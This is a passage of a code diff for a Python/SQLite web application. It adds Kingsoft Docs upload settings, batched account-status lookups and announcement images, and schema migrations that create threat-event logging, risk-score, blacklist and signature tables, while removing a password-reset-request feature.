+        kdocs_enabled=kdocs_enabled,
+        kdocs_doc_url=kdocs_doc_url,
+        kdocs_default_unit=kdocs_default_unit,
+        kdocs_sheet_name=kdocs_sheet_name,
+        kdocs_sheet_index=kdocs_sheet_index,
+        kdocs_unit_column=kdocs_unit_column,
+        kdocs_image_column=kdocs_image_column,
+        kdocs_admin_notify_enabled=kdocs_admin_notify_enabled,
+        kdocs_admin_notify_email=kdocs_admin_notify_email,
+        kdocs_row_start=kdocs_row_start,
+        kdocs_row_end=kdocs_row_end,
     )
     if ok:
         invalidate_system_config_cache()

db/accounts.py

@@ -140,6 +140,36 @@ def get_account_status(account_id):
         return cursor.fetchone()
 
 
+def get_account_status_batch(account_ids):
+    """批量获取账号状态信息"""
+    account_ids = [str(account_id) for account_id in (account_ids or []) if account_id]
+    if not account_ids:
+        return {}
+
+    results = {}
+    chunk_size = 900  # 避免触发 SQLite 绑定参数上限
+    with db_pool.get_db() as conn:
+        cursor = conn.cursor()
+        for idx in range(0, len(account_ids), chunk_size):
+            chunk = account_ids[idx : idx + chunk_size]
+            placeholders = ",".join("?" for _ in chunk)
+            cursor.execute(
+                f"""
+                SELECT id, status, login_fail_count, last_login_error
+                FROM accounts
+                WHERE id IN ({placeholders})
+                """,
+                chunk,
+            )
+            for row in cursor.fetchall():
+                row_dict = dict(row)
+                account_id = str(row_dict.pop("id", ""))
+                if account_id:
+                    results[account_id] = row_dict
+
+    return results
+
+
 def delete_user_accounts(user_id):
     """删除用户的所有账号"""
     with db_pool.get_db() as conn:
@@ -147,4 +177,3 @@ def delete_user_accounts(user_id):
         cursor.execute("DELETE FROM accounts WHERE user_id = ?", (user_id,))
         conn.commit()
         return cursor.rowcount
-

db/admin.py

@@ -172,6 +172,17 @@ def get_system_config_raw() -> dict:
             "auto_approve_enabled": 0,
             "auto_approve_hourly_limit": 10,
             "auto_approve_vip_days": 7,
+            "kdocs_enabled": 0,
+            "kdocs_doc_url": "",
+            "kdocs_default_unit": "",
+            "kdocs_sheet_name": "",
+            "kdocs_sheet_index": 0,
+            "kdocs_unit_column": "A",
+            "kdocs_image_column": "D",
+            "kdocs_admin_notify_enabled": 0,
+            "kdocs_admin_notify_email": "",
+            "kdocs_row_start": 0,
+            "kdocs_row_end": 0,
         }
 
 
@@ -184,12 +195,24 @@ def update_system_config(
     schedule_weekdays=None,
     max_concurrent_per_account=None,
     max_screenshot_concurrent=None,
+    enable_screenshot=None,
     proxy_enabled=None,
     proxy_api_url=None,
     proxy_expire_minutes=None,
     auto_approve_enabled=None,
     auto_approve_hourly_limit=None,
     auto_approve_vip_days=None,
+    kdocs_enabled=None,
+    kdocs_doc_url=None,
+    kdocs_default_unit=None,
+    kdocs_sheet_name=None,
+    kdocs_sheet_index=None,
+    kdocs_unit_column=None,
+    kdocs_image_column=None,
+    kdocs_admin_notify_enabled=None,
+    kdocs_admin_notify_email=None,
+    kdocs_row_start=None,
+    kdocs_row_end=None,
 ) -> bool:
     """更新系统配置（仅更新DB，不做缓存处理）。"""
     allowed_fields = {
@@ -200,12 +223,24 @@ def update_system_config(
         "schedule_weekdays",
         "max_concurrent_per_account",
         "max_screenshot_concurrent",
+        "enable_screenshot",
         "proxy_enabled",
         "proxy_api_url",
         "proxy_expire_minutes",
         "auto_approve_enabled",
         "auto_approve_hourly_limit",
         "auto_approve_vip_days",
+        "kdocs_enabled",
+        "kdocs_doc_url",
+        "kdocs_default_unit",
+        "kdocs_sheet_name",
+        "kdocs_sheet_index",
+        "kdocs_unit_column",
+        "kdocs_image_column",
+        "kdocs_admin_notify_enabled",
+        "kdocs_admin_notify_email",
+        "kdocs_row_start",
+        "kdocs_row_end",
         "updated_at",
     }
 
@@ -232,6 +267,9 @@ def update_system_config(
         if max_screenshot_concurrent is not None:
             updates.append("max_screenshot_concurrent = ?")
             params.append(max_screenshot_concurrent)
+        if enable_screenshot is not None:
+            updates.append("enable_screenshot = ?")
+            params.append(enable_screenshot)
         if schedule_weekdays is not None:
             updates.append("schedule_weekdays = ?")
             params.append(schedule_weekdays)
@@ -253,6 +291,39 @@ def update_system_config(
         if auto_approve_vip_days is not None:
             updates.append("auto_approve_vip_days = ?")
             params.append(auto_approve_vip_days)
+        if kdocs_enabled is not None:
+            updates.append("kdocs_enabled = ?")
+            params.append(kdocs_enabled)
+        if kdocs_doc_url is not None:
+            updates.append("kdocs_doc_url = ?")
+            params.append(kdocs_doc_url)
+        if kdocs_default_unit is not None:
+            updates.append("kdocs_default_unit = ?")
+            params.append(kdocs_default_unit)
+        if kdocs_sheet_name is not None:
+            updates.append("kdocs_sheet_name = ?")
+            params.append(kdocs_sheet_name)
+        if kdocs_sheet_index is not None:
+            updates.append("kdocs_sheet_index = ?")
+            params.append(kdocs_sheet_index)
+        if kdocs_unit_column is not None:
+            updates.append("kdocs_unit_column = ?")
+            params.append(kdocs_unit_column)
+        if kdocs_image_column is not None:
+            updates.append("kdocs_image_column = ?")
+            params.append(kdocs_image_column)
+        if kdocs_admin_notify_enabled is not None:
+            updates.append("kdocs_admin_notify_enabled = ?")
+            params.append(kdocs_admin_notify_enabled)
+        if kdocs_admin_notify_email is not None:
+            updates.append("kdocs_admin_notify_email = ?")
+            params.append(kdocs_admin_notify_email)
+        if kdocs_row_start is not None:
+            updates.append("kdocs_row_start = ?")
+            params.append(kdocs_row_start)
+        if kdocs_row_end is not None:
+            updates.append("kdocs_row_end = ?")
+            params.append(kdocs_row_end)
 
         if not updates:
             return False
@@ -287,108 +358,6 @@ def get_hourly_registration_count() -> int:
 # ==================== 密码重置（管理员） ====================
 
 
-def create_password_reset_request(user_id: int, new_password: str):
-    """创建密码重置申请（存储哈希）"""
-    with db_pool.get_db() as conn:
-        cursor = conn.cursor()
-        password_hash = hash_password_bcrypt(new_password)
-        cst_time = get_cst_now_str()
-
-        try:
-            cursor.execute(
-                """
-                INSERT INTO password_reset_requests (user_id, new_password_hash, status, created_at)
-                VALUES (?, ?, 'pending', ?)
-                """,
-                (user_id, password_hash, cst_time),
-            )
-            conn.commit()
-            return cursor.lastrowid
-        except Exception as e:
-            print(f"创建密码重置申请失败: {e}")
-            return None
-
-
-def get_pending_password_resets():
-    """获取待审核的密码重置申请列表"""
-    with db_pool.get_db() as conn:
-        cursor = conn.cursor()
-        cursor.execute(
-            """
-            SELECT r.id, r.user_id, r.created_at, r.status,
-                   u.username, u.email
-            FROM password_reset_requests r
-            JOIN users u ON r.user_id = u.id
-            WHERE r.status = 'pending'
-            ORDER BY r.created_at DESC
-            """
-        )
-        return [dict(row) for row in cursor.fetchall()]
-
-
-def approve_password_reset(request_id: int) -> bool:
-    """批准密码重置申请"""
-    with db_pool.get_db() as conn:
-        cursor = conn.cursor()
-        cst_time = get_cst_now_str()
-
-        try:
-            cursor.execute(
-                """
-                SELECT user_id, new_password_hash
-                FROM password_reset_requests
-                WHERE id = ? AND status = 'pending'
-                """,
-                (request_id,),
-            )
-
-            result = cursor.fetchone()
-            if not result:
-                return False
-
-            user_id = result["user_id"]
-            new_password_hash = result["new_password_hash"]
-
-            cursor.execute("UPDATE users SET password_hash = ? WHERE id = ?", (new_password_hash, user_id))
-
-            cursor.execute(
-                """
-                UPDATE password_reset_requests
-                SET status = 'approved', processed_at = ?
-                WHERE id = ?
-                """,
-                (cst_time, request_id),
-            )
-
-            conn.commit()
-            return True
-        except Exception as e:
-            print(f"批准密码重置失败: {e}")
-            return False
-
-
-def reject_password_reset(request_id: int) -> bool:
-    """拒绝密码重置申请"""
-    with db_pool.get_db() as conn:
-        cursor = conn.cursor()
-        cst_time = get_cst_now_str()
-
-        try:
-            cursor.execute(
-                """
-                UPDATE password_reset_requests
-                SET status = 'rejected', processed_at = ?
-                WHERE id = ? AND status = 'pending'
-                """,
-                (cst_time, request_id),
-            )
-            conn.commit()
-            return cursor.rowcount > 0
-        except Exception as e:
-            print(f"拒绝密码重置失败: {e}")
-            return False
-
-
 def admin_reset_user_password(user_id: int, new_password: str) -> bool:
     """管理员直接重置用户密码"""
     with db_pool.get_db() as conn:

db/announcements.py

@@ -6,10 +6,12 @@ import db_pool
 from db.utils import get_cst_now_str
 
 
-def create_announcement(title, content, is_active=True):
+def create_announcement(title, content, image_url=None, is_active=True):
     """创建公告（默认启用；启用时会自动停用其他公告）"""
     title = (title or "").strip()
     content = (content or "").strip()
+    image_url = (image_url or "").strip()
+    image_url = image_url or None
     if not title or not content:
         return None
 
@@ -22,10 +24,10 @@ def create_announcement(title, content, is_active=True):
 
         cursor.execute(
             """
-            INSERT INTO announcements (title, content, is_active, created_at, updated_at)
-            VALUES (?, ?, ?, ?, ?)
+            INSERT INTO announcements (title, content, image_url, is_active, created_at, updated_at)
+            VALUES (?, ?, ?, ?, ?, ?)
             """,
-            (title, content, 1 if is_active else 0, cst_time, cst_time),
+            (title, content, image_url, 1 if is_active else 0, cst_time, cst_time),
         )
         conn.commit()
         return cursor.lastrowid
@@ -129,4 +131,3 @@ def dismiss_announcement_for_user(user_id, announcement_id):
         )
         conn.commit()
         return cursor.rowcount >= 0
-

db/migrations.py

@@ -72,6 +72,24 @@ def migrate_database(conn, target_version: int) -> None:
     if current_version < 12:
         _migrate_to_v12(conn)
         current_version = 12
+    if current_version < 13:
+        _migrate_to_v13(conn)
+        current_version = 13
+    if current_version < 14:
+        _migrate_to_v14(conn)
+        current_version = 14
+    if current_version < 15:
+        _migrate_to_v15(conn)
+        current_version = 15
+    if current_version < 16:
+        _migrate_to_v16(conn)
+        current_version = 16
+    if current_version < 17:
+        _migrate_to_v17(conn)
+        current_version = 17
+    if current_version < 18:
+        _migrate_to_v18(conn)
+        current_version = 18
 
     if current_version != int(target_version):
         set_current_version(conn, int(target_version))
@@ -519,3 +537,215 @@ def _migrate_to_v12(conn):
     cursor.execute("CREATE INDEX IF NOT EXISTS idx_login_ips_user ON login_ips(user_id)")
 
     conn.commit()
+
+
+def _migrate_to_v13(conn):
+    """迁移到版本13 - 安全防护：威胁检测相关表"""
+    cursor = conn.cursor()
+
+    cursor.execute(
+        """
+        CREATE TABLE IF NOT EXISTS threat_events (
+            id INTEGER PRIMARY KEY AUTOINCREMENT,
+            threat_type TEXT NOT NULL,
+            score INTEGER NOT NULL DEFAULT 0,
+            rule TEXT,
+            field_name TEXT,
+            matched TEXT,
+            value_preview TEXT,
+            ip TEXT,
+            user_id INTEGER,
+            request_method TEXT,
+            request_path TEXT,
+            user_agent TEXT,
+            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+            FOREIGN KEY (user_id) REFERENCES users (id) ON DELETE CASCADE
+        )
+        """
+    )
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_events_created_at ON threat_events(created_at)")
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_events_ip ON threat_events(ip)")
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_events_user_id ON threat_events(user_id)")
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_events_type ON threat_events(threat_type)")
+
+    cursor.execute(
+        """
+        CREATE TABLE IF NOT EXISTS ip_risk_scores (
+            ip TEXT PRIMARY KEY,
+            risk_score INTEGER NOT NULL DEFAULT 0,
+            last_seen TIMESTAMP,
+            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+            updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
+        )
+        """
+    )
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_ip_risk_scores_score ON ip_risk_scores(risk_score)")
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_ip_risk_scores_updated_at ON ip_risk_scores(updated_at)")
+
+    cursor.execute(
+        """
+        CREATE TABLE IF NOT EXISTS user_risk_scores (
+            user_id INTEGER PRIMARY KEY,
+            risk_score INTEGER NOT NULL DEFAULT 0,
+            last_seen TIMESTAMP,
+            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+            updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+            FOREIGN KEY (user_id) REFERENCES users (id) ON DELETE CASCADE
+        )
+        """
+    )
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_risk_scores_score ON user_risk_scores(risk_score)")
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_risk_scores_updated_at ON user_risk_scores(updated_at)")
+
+    cursor.execute(
+        """
+        CREATE TABLE IF NOT EXISTS ip_blacklist (
+            ip TEXT PRIMARY KEY,
+            reason TEXT,
+            is_active INTEGER DEFAULT 1,
+            added_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+            expires_at TIMESTAMP
+        )
+        """
+    )
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_ip_blacklist_active ON ip_blacklist(is_active)")
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_ip_blacklist_expires ON ip_blacklist(expires_at)")
+
+    cursor.execute(
+        """
+        CREATE TABLE IF NOT EXISTS threat_signatures (
+            id INTEGER PRIMARY KEY AUTOINCREMENT,
+            name TEXT UNIQUE NOT NULL,
+            threat_type TEXT NOT NULL,
+            pattern TEXT NOT NULL,
+            pattern_type TEXT DEFAULT 'regex',
+            score INTEGER DEFAULT 0,
+            is_active INTEGER DEFAULT 1,
+            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+            updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
+        )
+        """
+    )
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_signatures_type ON threat_signatures(threat_type)")
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_signatures_active ON threat_signatures(is_active)")
+
+    conn.commit()
+
+
+def _migrate_to_v14(conn):
+    """迁移到版本14 - 安全防护：用户黑名单表"""
+    cursor = conn.cursor()
+
+    cursor.execute(
+        """
+        CREATE TABLE IF NOT EXISTS user_blacklist (
+            user_id INTEGER PRIMARY KEY,
+            reason TEXT,
+            is_active INTEGER DEFAULT 1,
+            added_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+            expires_at TIMESTAMP
+        )
+        """
+    )
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_blacklist_active ON user_blacklist(is_active)")
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_blacklist_expires ON user_blacklist(expires_at)")
+
+    conn.commit()
+
+
+def _migrate_to_v15(conn):
+    """迁移到版本15 - 邮件设置：新设备登录提醒全局开关"""
+    cursor = conn.cursor()
+
+    cursor.execute("SELECT name FROM sqlite_master WHERE type='table' AND name='email_settings'")
+    if not cursor.fetchone():
+        # 邮件表由 email_service.init_email_tables 创建；此处仅做增量字段迁移
+        return
+
+    cursor.execute("PRAGMA table_info(email_settings)")
+    columns = [col[1] for col in cursor.fetchall()]
+
+    changed = False
+    if "login_alert_enabled" not in columns:
+        cursor.execute("ALTER TABLE email_settings ADD COLUMN login_alert_enabled INTEGER DEFAULT 1")
+        print("  ✓ 添加 email_settings.login_alert_enabled 字段")
+        changed = True
+
+    try:
+        cursor.execute("UPDATE email_settings SET login_alert_enabled = 1 WHERE login_alert_enabled IS NULL")
+        if cursor.rowcount:
+            changed = True
+    except sqlite3.OperationalError:
+        # 列不存在等情况由上方迁移兜底；不阻断主流程
+        pass
+
+    if changed:
+        conn.commit()
+
+
+def _migrate_to_v16(conn):
+    """迁移到版本16 - 公告支持图片字段"""
+    cursor = conn.cursor()
+    cursor.execute("PRAGMA table_info(announcements)")
+    columns = [col[1] for col in cursor.fetchall()]
+
+    if "image_url" not in columns:
+        cursor.execute("ALTER TABLE announcements ADD COLUMN image_url TEXT")
+        conn.commit()
+        print("  ✓ 添加 announcements.image_url 字段")
+
+
+def _migrate_to_v17(conn):
+    """迁移到版本17 - 金山文档上传配置与用户开关"""
+    cursor = conn.cursor()
+
+    cursor.execute("PRAGMA table_info(system_config)")
+    columns = [col[1] for col in cursor.fetchall()]
+
+    system_fields = [
+        ("kdocs_enabled", "INTEGER DEFAULT 0"),
+        ("kdocs_doc_url", "TEXT DEFAULT ''"),
+        ("kdocs_default_unit", "TEXT DEFAULT ''"),
+        ("kdocs_sheet_name", "TEXT DEFAULT ''"),
+        ("kdocs_sheet_index", "INTEGER DEFAULT 0"),
+        ("kdocs_unit_column", "TEXT DEFAULT 'A'"),
+        ("kdocs_image_column", "TEXT DEFAULT 'D'"),
+        ("kdocs_admin_notify_enabled", "INTEGER DEFAULT 0"),
+        ("kdocs_admin_notify_email", "TEXT DEFAULT ''"),
+    ]
+    for field, ddl in system_fields:
+        if field not in columns:
+            cursor.execute(f"ALTER TABLE system_config ADD COLUMN {field} {ddl}")
+            print(f"  ✓ 添加 system_config.{field} 字段")
+
+    cursor.execute("PRAGMA table_info(users)")
+    columns = [col[1] for col in cursor.fetchall()]
+
+    user_fields = [
+        ("kdocs_unit", "TEXT DEFAULT ''"),
+        ("kdocs_auto_upload", "INTEGER DEFAULT 0"),
+    ]
+    for field, ddl in user_fields:
+        if field not in columns:
+            cursor.execute(f"ALTER TABLE users ADD COLUMN {field} {ddl}")
+            print(f"  ✓ 添加 users.{field} 字段")
+
+    conn.commit()
+
+
+def _migrate_to_v18(conn):
+    """迁移到版本18 - 金山文档上传：有效行范围配置"""
+    cursor = conn.cursor()
+
+    cursor.execute("PRAGMA table_info(system_config)")
+    columns = [col[1] for col in cursor.fetchall()]
+
+    if "kdocs_row_start" not in columns:
+        cursor.execute("ALTER TABLE system_config ADD COLUMN kdocs_row_start INTEGER DEFAULT 0")
+        print("  ✓ 添加 system_config.kdocs_row_start 字段")
+
+    if "kdocs_row_end" not in columns:
+        cursor.execute("ALTER TABLE system_config ADD COLUMN kdocs_row_end INTEGER DEFAULT 0")
+        print("  ✓ 添加 system_config.kdocs_row_end 字段")
+
+    conn.commit()

db/schema.py

@@ -33,6 +33,8 @@ def ensure_schema(conn) -> None:
             email TEXT,
             email_verified INTEGER DEFAULT 0,
             email_notify_enabled INTEGER DEFAULT 1,
+            kdocs_unit TEXT DEFAULT '',
+            kdocs_auto_upload INTEGER DEFAULT 0,
             status TEXT DEFAULT 'approved',
             vip_expire_time TIMESTAMP,
             created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
@@ -72,6 +74,101 @@ def ensure_schema(conn) -> None:
         """
     )
 
+    # ==================== 安全防护：威胁检测相关表 ====================
+
+    # 威胁事件日志表
+    cursor.execute(
+        """
+        CREATE TABLE IF NOT EXISTS threat_events (
+            id INTEGER PRIMARY KEY AUTOINCREMENT,
+            threat_type TEXT NOT NULL,
+            score INTEGER NOT NULL DEFAULT 0,
+            rule TEXT,
+            field_name TEXT,
+            matched TEXT,
+            value_preview TEXT,
+            ip TEXT,
+            user_id INTEGER,
+            request_method TEXT,
+            request_path TEXT,
+            user_agent TEXT,
+            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+            FOREIGN KEY (user_id) REFERENCES users (id) ON DELETE CASCADE
+        )
+        """
+    )
+
+    # IP风险评分表
+    cursor.execute(
+        """
+        CREATE TABLE IF NOT EXISTS ip_risk_scores (
+            ip TEXT PRIMARY KEY,
+            risk_score INTEGER NOT NULL DEFAULT 0,
+            last_seen TIMESTAMP,
+            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+            updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
+        )
+        """
+    )
+
+    # 用户风险评分表
+    cursor.execute(
+        """
+        CREATE TABLE IF NOT EXISTS user_risk_scores (
+            user_id INTEGER PRIMARY KEY,
+            risk_score INTEGER NOT NULL DEFAULT 0,
+            last_seen TIMESTAMP,
+            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+            updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+            FOREIGN KEY (user_id) REFERENCES users (id) ON DELETE CASCADE
+        )
+        """
+    )
+
+    # IP黑名单表
+    cursor.execute(
+        """
+        CREATE TABLE IF NOT EXISTS ip_blacklist (
+            ip TEXT PRIMARY KEY,
+            reason TEXT,
+            is_active INTEGER DEFAULT 1,
+            added_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+            expires_at TIMESTAMP
+        )
+        """
+    )
+
+    # 用户黑名单表
+    cursor.execute(
+        """
+        CREATE TABLE IF NOT EXISTS user_blacklist (
+            user_id INTEGER PRIMARY KEY,
+            reason TEXT,
+            is_active INTEGER DEFAULT 1,
+            added_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+            expires_at TIMESTAMP,
+            FOREIGN KEY (user_id) REFERENCES users (id) ON DELETE CASCADE
+        )
+        """
+    )
+
+    # 威胁特征库表
+    cursor.execute(
+        """
+        CREATE TABLE IF NOT EXISTS threat_signatures (
+            id INTEGER PRIMARY KEY AUTOINCREMENT,
+            name TEXT UNIQUE NOT NULL,
+            threat_type TEXT NOT NULL,
+            pattern TEXT NOT NULL,
+            pattern_type TEXT DEFAULT 'regex',
+            score INTEGER DEFAULT 0,
+            is_active INTEGER DEFAULT 1,
+            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+            updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
+        )
+        """
+    )
+
     # 账号表(关联用户)
     cursor.execute(
         """
@@ -118,6 +215,17 @@ def ensure_schema(conn) -> None:
             auto_approve_enabled INTEGER DEFAULT 0,
             auto_approve_hourly_limit INTEGER DEFAULT 10,
             auto_approve_vip_days INTEGER DEFAULT 7,
+            kdocs_enabled INTEGER DEFAULT 0,
+            kdocs_doc_url TEXT DEFAULT '',
+            kdocs_default_unit TEXT DEFAULT '',
+            kdocs_sheet_name TEXT DEFAULT '',
+            kdocs_sheet_index INTEGER DEFAULT 0,
+            kdocs_unit_column TEXT DEFAULT 'A',
+            kdocs_image_column TEXT DEFAULT 'D',
+            kdocs_admin_notify_enabled INTEGER DEFAULT 0,
+            kdocs_admin_notify_email TEXT DEFAULT '',
+            kdocs_row_start INTEGER DEFAULT 0,
+            kdocs_row_end INTEGER DEFAULT 0,
             updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
         )
         """
@@ -144,21 +252,6 @@ def ensure_schema(conn) -> None:
         """
     )
 
-    # 密码重置申请表
-    cursor.execute(
-        """
-        CREATE TABLE IF NOT EXISTS password_reset_requests (
-            id INTEGER PRIMARY KEY AUTOINCREMENT,
-            user_id INTEGER NOT NULL,
-            new_password_hash TEXT NOT NULL,
-            status TEXT NOT NULL DEFAULT 'pending',
-            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
-            processed_at TIMESTAMP,
-            FOREIGN KEY (user_id) REFERENCES users (id) ON DELETE CASCADE
-        )
-        """
-    )
-
     # 数据库版本表
     cursor.execute(
         """
@@ -196,6 +289,7 @@ def ensure_schema(conn) -> None:
             id INTEGER PRIMARY KEY AUTOINCREMENT,
             title TEXT NOT NULL,
             content TEXT NOT NULL,
+            image_url TEXT,
             is_active INTEGER DEFAULT 1,
             created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
             updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
@@ -271,6 +365,26 @@ def ensure_schema(conn) -> None:
     cursor.execute("CREATE INDEX IF NOT EXISTS idx_login_fingerprints_user ON login_fingerprints(user_id)")
     cursor.execute("CREATE INDEX IF NOT EXISTS idx_login_ips_user ON login_ips(user_id)")
 
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_events_created_at ON threat_events(created_at)")
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_events_ip ON threat_events(ip)")
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_events_user_id ON threat_events(user_id)")
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_events_type ON threat_events(threat_type)")
+
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_ip_risk_scores_score ON ip_risk_scores(risk_score)")
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_ip_risk_scores_updated_at ON ip_risk_scores(updated_at)")
+
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_risk_scores_score ON user_risk_scores(risk_score)")
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_risk_scores_updated_at ON user_risk_scores(updated_at)")
+
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_ip_blacklist_active ON ip_blacklist(is_active)")
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_ip_blacklist_expires ON ip_blacklist(expires_at)")
+
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_blacklist_active ON user_blacklist(is_active)")
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_blacklist_expires ON user_blacklist(expires_at)")
+
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_signatures_type ON threat_signatures(threat_type)")
+    cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_signatures_active ON threat_signatures(is_active)")
+
     cursor.execute("CREATE INDEX IF NOT EXISTS idx_accounts_user_id ON accounts(user_id)")
     cursor.execute("CREATE INDEX IF NOT EXISTS idx_accounts_username ON accounts(username)")
 
@@ -279,9 +393,6 @@ def ensure_schema(conn) -> None:
     cursor.execute("CREATE INDEX IF NOT EXISTS idx_task_logs_created_at ON task_logs(created_at)")
     cursor.execute("CREATE INDEX IF NOT EXISTS idx_task_logs_user_date ON task_logs(user_id, created_at)")
 
-    cursor.execute("CREATE INDEX IF NOT EXISTS idx_password_reset_status ON password_reset_requests(status)")
-    cursor.execute("CREATE INDEX IF NOT EXISTS idx_password_reset_user_id ON password_reset_requests(user_id)")
-
     cursor.execute("CREATE INDEX IF NOT EXISTS idx_bug_feedbacks_user_id ON bug_feedbacks(user_id)")
     cursor.execute("CREATE INDEX IF NOT EXISTS idx_bug_feedbacks_status ON bug_feedbacks(status)")
     cursor.execute("CREATE INDEX IF NOT EXISTS idx_bug_feedbacks_created_at ON bug_feedbacks(created_at)")

db/security.py

@@ -2,10 +2,12 @@
 # -*- coding: utf-8 -*-
 from __future__ import annotations
 
+from datetime import timedelta
+from typing import Any, Optional
 from typing import Dict
 
 import db_pool
-from db.utils import get_cst_now_str
+from db.utils import get_cst_now, get_cst_now_str
 
 
 def record_login_context(user_id: int, ip_address: str, user_agent: str) -> Dict[str, bool]:
@@ -74,3 +76,217 @@ def record_login_context(user_id: int, ip_address: str, user_agent: str) -> Dict
         conn.commit()
 
     return {"new_device": new_device, "new_ip": new_ip}
+
+
+def get_threat_events_count(hours: int = 24) -> int:
+    """获取指定时间内的威胁事件数。"""
+    try:
+        hours_int = max(0, int(hours))
+    except Exception:
+        hours_int = 24
+
+    if hours_int <= 0:
+        return 0
+
+    start_time = (get_cst_now() - timedelta(hours=hours_int)).strftime("%Y-%m-%d %H:%M:%S")
+    with db_pool.get_db() as conn:
+        cursor = conn.cursor()
+        cursor.execute("SELECT COUNT(*) AS cnt FROM threat_events WHERE created_at >= ?", (start_time,))
+        row = cursor.fetchone()
+        try:
+            return int(row["cnt"] if row else 0)
+        except Exception:
+            return 0
+
+
+def _build_threat_events_where_clause(filters: Optional[dict]) -> tuple[str, list[Any]]:
+    clauses: list[str] = []
+    params: list[Any] = []
+
+    if not isinstance(filters, dict):
+        return "", []
+
+    event_type = filters.get("event_type") or filters.get("threat_type")
+    if event_type:
+        raw = str(event_type).strip()
+        types = [t.strip()[:64] for t in raw.split(",") if t.strip()]
+        if len(types) == 1:
+            clauses.append("threat_type = ?")
+            params.append(types[0])
+        elif types:
+            placeholders = ", ".join(["?"] * len(types))
+            clauses.append(f"threat_type IN ({placeholders})")
+            params.extend(types)
+
+    severity = filters.get("severity")
+    if severity is not None and str(severity).strip():
+        sev = str(severity).strip().lower()
+        if "-" in sev:
+            parts = [p.strip() for p in sev.split("-", 1)]
+            try:
+                min_score = int(parts[0])
+                max_score = int(parts[1])
+                clauses.append("score >= ? AND score <= ?")
+                params.extend([min_score, max_score])
+            except Exception:
+                pass
+        elif sev.isdigit():
+            clauses.append("score >= ?")
+            params.append(int(sev))
+        elif sev in {"high", "critical"}:
+            clauses.append("score >= ?")
+            params.append(80)
+        elif sev in {"medium", "med"}:
+            clauses.append("score >= ? AND score < ?")
+            params.extend([50, 80])
+        elif sev in {"low", "info"}:
+            clauses.append("score < ?")
+            params.append(50)
+
+    ip = filters.get("ip")
+    if ip is not None and str(ip).strip():
+        ip_text = str(ip).strip()[:64]
+        clauses.append("ip = ?")
+        params.append(ip_text)
+
+    user_id = filters.get("user_id")
+    if user_id is not None and str(user_id).strip():
+        try:
+            user_id_int = int(user_id)
+        except Exception:
+            user_id_int = None
+        if user_id_int is not None:
+            clauses.append("user_id = ?")
+            params.append(user_id_int)
+
+    if not clauses:
+        return "", []
+    return " WHERE " + " AND ".join(clauses), params
+
+
+def get_threat_events_list(page: int, per_page: int, filters: Optional[dict] = None) -> dict:
+    """分页获取威胁事件。"""
+    try:
+        page_i = max(1, int(page))
+    except Exception:
+        page_i = 1
+    try:
+        per_page_i = int(per_page)
+    except Exception:
+        per_page_i = 20
+    per_page_i = max(1, min(200, per_page_i))
+
+    where_sql, params = _build_threat_events_where_clause(filters)
+    offset = (page_i - 1) * per_page_i
+
+    with db_pool.get_db() as conn:
+        cursor = conn.cursor()
+        cursor.execute(f"SELECT COUNT(*) AS cnt FROM threat_events{where_sql}", tuple(params))
+        row = cursor.fetchone()
+        total = int(row["cnt"]) if row else 0
+
+        cursor.execute(
+            f"""
+            SELECT
+                id,
+                threat_type,
+                score,
+                rule,
+                field_name,
+                matched,
+                value_preview,
+                ip,
+                user_id,
+                request_method,
+                request_path,
+                user_agent,
+                created_at
+            FROM threat_events
+            {where_sql}
+            ORDER BY created_at DESC, id DESC
+            LIMIT ? OFFSET ?
+            """,
+            tuple(params + [per_page_i, offset]),
+        )
+        items = [dict(r) for r in cursor.fetchall()]
+
